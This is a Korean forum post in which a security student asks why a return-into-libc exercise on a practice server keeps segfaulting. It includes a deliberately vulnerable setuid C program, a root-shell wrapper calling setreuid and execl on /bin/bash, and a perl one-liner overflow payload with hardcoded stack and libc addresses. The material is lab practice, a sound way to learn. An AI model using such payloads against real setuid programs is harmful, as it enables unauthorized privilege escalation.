달고나님의 스택오버플로우의 기초중에서 return into libc부분입니다.
일단 아이디 level9로 접속을 해서
다음과 같이 파일을 만들었습니다.(파일명은 vul.c)
int main(int argc,char *argv[])
{
char buf[7];
strcpy(buf,argv[1]);
return 0;
}
chmod u+s vul을 걸었습니다.
그 다음 level11로 접속을 해서
다음과 같이 shell.c파일을 작성했습니다.
int main()
{
setreuid(geteuid(),geteuid());
setregid(getegid(),getegid());
execl("/bin/bash","sh",0);
}
그 다음 execl의 libc위치를 알아냈습니다.(0x400d16c0)
그리고 gdb로 vul을 열어서 외부인자의 시작 주소값을 알아냈습니다.(0xbffffb34)
그래서 공격 코드를 다음과 같이 넣었습니다.
./vul `perl -e 'print "A"x24,"\x34\xfb\xff\xbf","\xc3\x16\x0d\x40"," ./shell"'`
그런데 세그먼트 폴트가 자꾸 뜹니다. ㅠ.ㅠ
gdb로 r `perl -e 'print "A"x24,"\x34\xfb\xff\xbf","\xc3\x16\x0d\x40"," ./shell"'`이렇게 넣고 하나씩 확인해봤는데요
ebp에 0xbffffb34가 제대로 들어가고 리턴 어드레스 부분에 execl까지 들어가는걸 확인했는데 안됩니다. ㅠ.ㅠ
이거 3일째 날새고 있습니다. 앞으로 보안쪽으로 취업을 할 대학생인데 이런 문제에서 막히니까 정말 울고 싶을 지경입니다.
프로그램의 에러는 하나도 없습니다.(일일이 컴파일 다 해봤습니다.)
아무리 생각을 해도 몰라서 글을 올립니다. 부탁드립니다.
|
1574, 
8/79 
randomkid
